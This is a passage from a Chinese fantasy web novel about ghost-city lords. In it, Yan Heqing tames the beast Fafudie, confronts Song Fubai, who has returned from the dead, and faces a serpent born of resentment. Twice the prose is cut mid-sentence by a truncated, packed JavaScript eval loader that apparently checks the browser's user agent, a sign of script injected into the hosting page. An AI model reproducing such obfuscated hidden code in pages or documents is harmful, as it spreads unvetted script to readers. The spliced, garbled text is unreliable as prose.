亏自己刚恢复就想着赶来帮她,帮哪门子的帮啊,人家这战力还需要自己帮啊,搞了半天话还没说明白呢,命先丢一半。 他痛得咬牙切齿,挣扎半晌拼命将自己的上半身从土坑中拔出来,稍稍喘了口气,眼神呆滞无光。 城楼上,燕鹤青犹豫了一下,回身看了看护栏处的半人背形破损洞,回想起自己方才踢出去的那一脚,难得有些良心不安。 她深吸一口气,指尖微动,放出几丝灵力探察一番,确认那被踢出去的鬼气息平稳尚未死去,这才放下心。 那被召来的兽类仍是双目紧闭,似乎未得指令,并无下一步动作。 此时月色甚是清明,那兽的形貌一览无余。 燕鹤青微微拧眉,从久远记忆中捞了捞,这才发觉自己对这兽类并不陌生,甚至算得上熟悉。 只是当年这兽跟在宋浮白身边时,周身瑞光蔼蔼,性子温良驯从。 而现下眼前这只兽,坐卧处血雾弥漫,身上杀伐怨气甚重。 但终归还是熟悉的形貌。 燕鹤青走近它,垂眸俯身,轻唤道:“伏蝶。” 那只兽的身躯微不可察地颤了颤,周身血雾散了些许,似是感到了什么,缓缓往后退了两步。 燕鹤青再接再厉,连名带姓地喊它:“发伏蝶。” 那兽的身躯就颤得更厉害了。眼见就要激动得扑到她身上,燕鹤青眼疾手快,用长剑轻轻一挡,将它隔到了城楼另一边。 凶兽嘶吼一声,利爪将地面抓出深痕,金色兽瞳倏忽张开,眸中血色翻涌,直直凝视着燕鹤青。 脑海中骤然传来不容违抗的命令。 所有深埋心底,不可言说的欲望,于最灰暗绝望处无可抑制的恐惧,齐齐涌上心头。 燕鹤青忽而就明白了幻境中的宋浮白与方才那只被自己踹飞的倒霉鬼试图捂住自己眼睛的缘由。 昔日她曾见过宋浮白在牢狱中动用这只兽审问罪责。 最多不过一盏茶的功夫,那些犯人便会从冷漠抗拒到崩溃求饶,痛得满地打滚,哀嚎着捂住双眼。 每每这时,宋浮白总会叹息着去安抚他们,再说一句“何必当初”。 燕鹤青头痛不已,不愿再想,长剑轻巧一转,从衣袖处斩下一段墨布,蒙上双眼。 往事已矣,是非不论。 离了宋浮白,这不过是一只碍人行事的凶兽而已,杀了又何妨。 24. 湮灭 整座城池在寂静中缓缓湮灭。 烈焰如巨兽般吞噬了一切,行过处房屋与魂魄,无声无息地在睡梦中化为灰烬。沉墨夜色中火光蜿蜒,像是一场早有预谋的盛大献祭。 城池就是祭坛,城中诸鬼全部都是祭品。 无人可以幸免。 西城鬼主漫无目的地行走在这场献祭中,摇头晃脑兴奋地向四面瞧着。 他眸色黑亮,面上带了些许散漫笑意,用折扇戳了戳身旁的黑袍老者,笑问道:“一切都如你所愿,怎么样?满意了?” 黑袍老者不动声色地躲了躲,沉默片刻,声音微微嘶哑:“还不够。我要的是今夜城中无人活着走出去。” 他偏头看向一旁,沉声道,“包括外来者。” 西城鬼主一愣,面上笑意敛去七分,折扇“啪”地一开,挑眉道:“你要她死在这儿?” 黑袍老者看向他,眸色深沉,微微颔首。意思不言而喻。 西城鬼主咋舌,心道这人的心思可真是深不可测。方才还在幻境中提点人家不要着了自己的道,这会儿又一言不发地决定要人家的命。 这不免实在让人摸不着头脑,琢磨半天,忍了又忍,到底忍不住大着胆子问了一回:“宋浮白,杀了她,你图什么啊?” 黑袍老者面色一僵。 已经许久没人用这个名字叫过他了。他习惯躲在黑袍中,努力让自己忘了所谓的过往。 宋浮白,只是个已消散的魂魄罢了。这是他欺瞒天道所要付出的代价。 他停下脚步,站在原地,神情变化莫测,同面前人僵持半晌,终究败下阵来,冷声道:“我为了此刻筹谋数百年,绝不容丝毫错漏。” 想起燕鹤青,他内心感到一阵说不出的烦躁,只要她不来,一切都会如他所料。 这座城池不声不响在城主手中旦夕覆灭,天道必然震怒,届时天罚降临,于修罗道诸鬼是死亡也是新生。 修罗道于诸鬼而言本就是牢笼,能以一城人的死亡换其余十一城的人重获新生,并不是亏本的买卖。宋浮白面色平静地劝说眼前人。 西城鬼主唇角弯了弯,眼眸中却毫无笑意,良久,长叹一声道:“这些年我一直觉得兄长变了好多,本以为只有一颗真心是不会变的。 如今看来竟是我看错了。兄长你,真是绝情啊。” 宋浮白面色沉了沉,却并不出言反驳。 宋酌看向他,语气中是止不住的惋惜:“果然,绝情人配绝情人,死路一条。” 宋浮白听不下去了,低声呵斥道:“说完了没有,闭嘴!” 宋酌懒洋洋地冲他笑了下,听话地闭了嘴。 城楼上,燕鹤青拍着发伏蝶的脑袋,一只手拿着糖块喂它,另一只手有一下没一下地给它顺毛。 对面处,另一只煞气缠身,同发伏蝶生得一模一样的兽类被五花大绑地横向缚在了粗壮的五根柱子上,正不服气地冲她嘶吼。 燕鹤青头也不抬:“别叫了,你打不赢我的。” 恶兽:“…………嗷呜!” 你看不起谁呢!! 发伏蝶在燕鹤青怀里吮着糖块含混不清地叫道:“嘤嘤嘤嘤嘤。” 呜呜呜,姐姐你看它好凶啊…… 燕鹤青安抚性地拍了拍它的脑袋,又塞过去一袋糖块。 恶兽的白眼翻上了天。 方才她同那恶兽搏斗之际,发伏蝶这小家伙不知从哪个角落里奔出来,一顿撕咬啃打下来,恶兽没啥事,反倒先把自己搞得身受重伤。 燕鹤青有些哭笑不得。 好在她同兽类搏斗的经验十分之丰富,最终成功遵循发伏蝶的意愿,将那恶兽绑了个结结实实给它出气。 现下眼看气也出得差不多了,燕鹤青拍拍它的脑袋,示意它起来。 发伏蝶不舍地蹭蹭她,站了起来。燕鹤青往城中瞧去,火光将天映红了一片。 天边隐隐泛起了鱼肚白,天快亮了。 远处有兵马铁戈声传来,援兵声势浩大,可惜已经晚了。城中已经被火焰烧过了三分之二,数千魂魄旦夕间化为青烟。 燕鹤青心下有些茫然,可是又什么也做不了。说到底,在救人一途中,她无能为力。 她静静地看着城门被撞开,援兵整齐划一地步入城中。入城的兵士们身披赤红甲胄,来的是东城鬼主。 顾屿还坐在泥坑里同自己的腿较劲,可惜拔了半天也没拔出来。闭目喘息间,耳边忽而传来嘈杂声响。 他抬头往城门望去,顿觉眼冒金光。 此时前来援助的兵士们已经入城忙着救火,最后一位入城的却是骑着马慢悠悠地行至城楼处,不紧不慢地仰头往上看。 但这些都不重要。重要的是,这人在发光,金光。 这金光不是日落西山,霞光万道的那个金光,而是万两黄金,明澄色泽的金光。 金光闪闪晃人眼。 顾屿捂着眼睛,无比悲愤地想自己今天可能不仅要瘸了,还要瞎了。 “……这到底是哪里来的小金人啊?”他小声嘟囔了一句。 另一边,小金人骑着马停在了城楼下,同燕鹤青遥遥对视一眼,拧眉冷声问道:“人在哪里?” 燕鹤青揉揉额头,诚恳道:“不知道。” 于是顺理成章地被甩了白眼。 见问不出什么有效信息,小金人也不再理她,骑着马自顾自去巡视城中各处。 燕鹤青微微叹了口气,正待下去帮那些兵士们一道救火,发伏蝶突然咬着她的衣角轻轻往后拽了拽。 燕鹤青回头一看,那原本被绑缚在柱间的恶兽,此刻已然不见踪迹。 一截断肢遗落在原本绑缚的地方,乌青色的血迹洒了一地。 短短一瞬而已,究竟是感应到了什么,才能让这恶兽拼了命都要摆脱束缚…… “伏蝶,”燕鹤青眸色幽深,命令道,“带我去找他们。” 发伏蝶嗷嗷叫了两声,又贴着那片血迹嗅了嗅,从城楼上一跃而下。 燕鹤青跟着它一面走一面看,然后来到了……顾屿面前。 发伏蝶瞪大眼睛冲顾屿呲牙,喉间发出低沉怒吼,身体躬伏,如同捕猎时猛兽般蓄势待发。 燕鹤青看了看它,又看看他,开始睁眼说瞎话:“啊,你看它多喜欢你啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋酌看着她呆呆地想,这人隐约比她身旁以人血为食的暗色藤蔓还要艳丽阴狠些。 一道黑影不声不响地自身旁掠过,缓缓走向燕鹤青。 宋酌的脸色骤然一变,讪讪道:“兄长。” 那道黑影停了下来。 他举手掀掉了罩在身上的黑袍,白发流水般披散而下。而后,不动声色地看向了燕鹤青。 看清来人面容的那一刻,燕鹤青唇角的弧度不自觉一僵,方才揍人的气焰倒是先灭了一半,眼眸干涩发酸,一时间竟说不出话来。 良久。宋浮白平静自若地看着她,温声道:“阿青,别来无恙。” 燕鹤青死死盯着他的脸,试图从中找出些许破绽,抿紧了唇,并不答话。 宋浮白冲她笑了笑,如同初见时那般,朝她伸出手,一字一顿道:“姑娘,我是宋浮白。” “浮生一梦的浮,白首不离的白。” 25. 清白 关于北城鬼主同西城鬼主究竟是何种关系,百年来修罗十二城中一向众说纷纭。 有说知己,有说仇敌,更有甚者大肆宣扬此二人为有世代纠葛的旷世怨侣。 但无论是说书馆内足以用来写书立传的离奇诡谲的传言,还是街头巷尾中平淡无趣的闲谈,言语中一旦牵涉到这二位,话里话外就无一例外地透露着三个字:不清白。 眼神不清白,举动不清白,交谈不清白,反正哪哪都不清白。 是以前些年,这两位间但凡有点风吹草动,都要被一传十十传百地算作实证,让眼中充满“不清白”的诸鬼愈发狂热痴迷。 直到传言愈传愈烈,最终传到两位鬼主的耳朵里。 据双方知情小鬼分别透露,宋浮白听到这谣言后沉默半晌,神思不宁地喝光了整整九壶茶,而后唇畔扬起一抹温和弧度,笑道:“……倒也未尝不可。” 而燕鹤青听闻传言却只是微微挑眉,冷嗤一声,当夜就灌下几坛烈酒,孤身一人踉跄着摸黑去了西城鬼主府。 听闻此消息,众鬼精神一震,顿时就要欢呼。一众大小老少鬼趁着夜色躲在西城鬼主府外静候佳音。 第二日果然就传来了西城鬼主同北城鬼主在深夜里拜把子的消息。 于是此后当着诸鬼的面,燕鹤青总是言笑晏晏,有意提高音量唤他:“兄长。” 宋浮白往往却是眼神落寞,笑得颇为勉强:“嗯。” 谣言自此止息。 林中人迹罕至,荆棘塞途,藤蔓环绕。 宋酌捂着被打肿的半张脸,倚在发伏蝶身上,整只鬼十分惆怅。 他秉着看戏的心思,有一下没一下地用眼睛瞟着燕鹤青,见她迟迟没有动作,心中默默替自家兄长捏了把汗。 宋浮白却是面上笑意不减,仍旧固执地冲燕鹤青伸着手。 他本就是有些沉默寡言的性子,昔日一袭青衫尚还称得上是翩翩公子,如今一袭黑衣只衬得他目光幽冷,莫名阴沉。 许久,又或是须臾。 燕鹤青垂眸,冷淡道:“宋浮白已经死了。我刚刚想起来,是我亲自葬的他。他说他不喜欢被人打扰,又怕孤单,我就把他葬在湖底。 又怕他觉得冰棺太冷,就请了最好的鬼匠师凿了白玉棺,施了法噬咒。我从那些噬人的藤蔓中一点一点地把他的尸身拾回来,缝补完整。 将他下葬后,我遵从他的遗愿对自己施了忘言咒,将他已死去的事忘得一干二净。” 燕鹤青抬头去看他,眼神出奇地平静,声音冷冽如冰:“你不是他。”顿了顿,闭眼道:“……这世上也没有人会是他。” 宋浮白原本在她开口时就已经敛去了笑意,默不作声地瞧着她,此刻却忽然笑了起来。 由轻笑变成大笑,由大笑转至癫狂,直笑到眼角溢出泪花,面上温和神色褪尽,才终于露出了酷似豺狼虎豹的另一样神情。 他上前一步,力道极重地一把扼住燕鹤青的手腕,将人狠狠拽到身前。 “是啊……宋浮白已经死了。现在站在你面前的,只是一只满怀不甘从地狱里爬回来的厉鬼罢了。” 宋浮白凑近她的耳畔,语气温柔,几近呢喃道,“怎么,我没死成,让阿青失望了么?” 阴冷气息打在颈侧,仿若下一秒就要将人连皮带骨,生吞活剥入腹。 燕鹤青觉得自己的手腕被攥得生疼,用力挣了挣,反而被他箍得更紧。她气极反笑,抬起另一只手甩了他一巴掌。 宋浮白脸上登时红痕一片,看着倒是比这会儿受制于人的燕鹤青还要凄惨。 不远处,宋酌一只手捂着脸,莫名觉得自己挨了一拳的半边脸又开始疼了。 他一边将自个儿的眼睛瞪得溜圆,一眨不眨地瞧着那两人,一边还不忘顺手捞了几片叶子把旁边发伏蝶的眼睛盖上,小声嘀咕道:“少儿不宜少儿不宜,可别跟着他们学坏了。” 发伏蝶摇了摇脑袋,听话地闭上了眼。 惶惶四野俱焦土,不见青山。 城中火势渐灭,徒余断壁残垣。幸存者百不足一,纵然侥幸劫后余生,也多是木木呆呆,满目惊惶。 乌归也在其中。虽是仍旧维持着被裹成了个粽子的形态,但好歹是活的,没死。 看见他的那刻,顾屿大喜过望,当即就要拖着残腿蹦跶着去跟他搭话。可惜刚蹦跶不到两步,就被援军中的医师眼疾手快一把扯了回来。 好不容易等到上完药接了骨,乌归已经混在一群同样被裹成粽子的鬼中,不知去向。 顾屿若无其事地往那堆粽子鬼的方向瞥了一眼,果断放弃了从中找人的想法。 罢了,只要知道人还活着就好。 他倚着墙,双目微合,倦意如潮水般汹涌袭来。一整夜的惊魂未定,血腥,暴力,杀戮,以致此刻身体后知后觉的疲惫不堪。 然而平静不过半刻—— “轰——!”地面在剧烈颤动,不知从何处出现的蛛网般的黑潮,裹挟着冲天怨气直奔众鬼聚集处而来。 昨日一夜大火中的枉死鬼怨气正盛,加之事态发展出人意料,在城中搜寻的赤甲兵士尚来不及反应便被这怨气尽数吞噬殆尽。 黑潮得了愈多怨气,其侵蚀范围便愈大,由方圆十里转至方圆百里,行过处土壤寸寸枯竭。 无尽怨念与浓郁血腥气交织中,黑潮于半空中渐渐盘旋成形,竟是条三头巨蟒。 血红的瞳仁,身上黑鳞密布。 三只蛇头争先恐后地嘶嘶吐着蛇信,粗壮身躯稍一扭曲,周身怨气凝作浓雾,瞬间化作毒蛇猛兽向尚还处在劫后余生的庆幸中的诸鬼扑了过来。 “都愣着干什么?!还不赶紧跑?!”混乱中不知是谁喊了一声,众鬼立时向四面八方逃窜。一时间天昏地暗,吵嚷声无止无休。 不多时,得了首领命令的红甲兵士匆匆赶来,声色俱厉地呵斥住了试图逃跑的诸鬼,拔剑出鞘并放言道,再逃者杀无赦。这才勉强镇住了局面。 众鬼嘴上尚在嘟嘟囔囔地抱怨着,行为倒是很诚实,缩在角落里,战战兢兢不敢再动。 中央让出的一方空地处,那红甲兵士的小金人首领身上骤然金光大盛,掌心结印,灵力喷涌而出,一道灿金结界悄然化作护佑诸鬼的屏障,将一众浓雾化形的毒蛇猛兽阻在结界外。 顾屿单手支颔,狐狸眼微微眯起,瞧着那在昏暗中发着金光的身影,默不作声地想,这防御结界好用是好用,只是需耗费施法者诸多灵力,要用来抵挡外边那些怨气攻击,怕是撑不过半个时辰。 要想活着从这里走出去,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一缕怨气沿着结界上裂隙的地方趁虚而入,扑面而来的阴冷气息一瞬间令在场所有鬼如坠冰窟。 小金人额上冷汗滴落,背上盔甲如有千斤,一面源源不断输出灵力尽力维持结界,一面回头向红甲兵士低声喝令道:“斩断它!” 红甲兵士们遵令而行,试图四面围堵那缕怨气,奈何手中再锋利的刀剑砍过后,怨气也只是消散片刻,复又重新成形。 阴冷气息愈来愈重,小金人愈发力不从心。手中灵力不自觉一滞,灿金结界立时破散。 三头蟒挟裹着浓雾向众鬼聚集处猛扑过来。小金人心中一紧,手中现出长枪,正欲独自上前抵挡,让他们快些离开。 却见周遭一道深蓝色结界屏障徐徐展开,硬生生将那巨蟒阻碍着调转了方向。 小金人诧异地回头看去,只见顾屿一瘸一拐地走上前来,微微笑道:“光靠结界阻碍可不是办法。得找到这怨气的源头,将这怪物一击毙命才是。” 小金人满脸黑线,气得想吐血:“你为何不早说?” 顾屿笑得极其欠揍:“抱歉啊,你没问。”